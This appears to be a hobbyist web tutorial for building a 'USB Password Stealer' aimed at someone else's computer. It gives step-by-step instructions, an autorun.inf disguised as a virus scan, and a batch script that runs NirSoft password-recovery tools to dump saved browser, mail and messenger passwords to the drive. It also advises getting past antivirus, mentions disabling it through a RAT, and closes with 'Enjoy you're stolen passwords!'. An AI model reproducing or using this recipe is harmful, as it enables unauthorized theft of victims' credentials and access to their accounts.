top of page

USB Password Stealer, Tutorial:

 

Are you ever in a hurry and just click 'Save password to google'? By doing this you are creating a simple way for someone to retrieve your passwords just by plugging in a USB flash drive. Now most anti-virus's will stop this methode. However you need to have a temporary access to there pc anyway. (Unless you have a RAT installed) With access you can allow the anti-virus to run the program. With a RAT you can disable the anti-virus software completley so it will work. But in this methode we are just going to use a simple USB flash drive. Follow these steps:

 

1) This methode requires a few downloads these are all from a trusted software creator and any virus detections are false.

Download the following programs (Download the .zip if possible as it makes getting the .exe much simpler)

1) IEPV: http://www.nirsoft.net/utils/internet_explorer_password.html

2) MailPV: http://www.nirsoft.net/utils/mailpv.html

3) mspass: http://www.nirsoft.net/utils/mspass.html

4)Password Fox: http://www.nirsoft.net/utils/passwordfox.html

5)PSPV: http://www.nirsoft.net/utils/pspv.html

(Scroll down the page to find the download. Normally titled things such as 'Download IE PassView in Zip file)

 

2) Get the .exe application from the zip file. If you used the self-install exe follow these steps:

Go to this directory: C:\Program Files (x86)\NirSoft

Then Go into the program folder and find the .exe drag it into you're USB.

Once you have all the programs installed to the usb drive, create a new notepad and type the following:

[autorun]

open=launch.bat

ACTION=Perform a Virus Scan

Then click: file, save as, type autorun.inf, Where it says .txt change to 'All File Types'

(Copy this onto you're USB drive)

 

3) Create another new notepad and type the following:

start iepv.exe /stext iepv.txt

start mailpv.exe /stext mailpv.txt

start mspass.exe /stext mspass.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

Do the following: File, Save as, Launch.bat, (Where it says .txt change to all file types again)

 

4)Copy this onto the USB drive.

5) It is now complete the following steps are for testing/using

6) To test unplug the usb then plug it back in. Open the usb folder and wait to see if text files are created. If not then run the launch.bat yourself. You'll be suprised to see how many passwords u can find in the text documents.

7)Enjoy you're stolen passwords!

 

bottom of page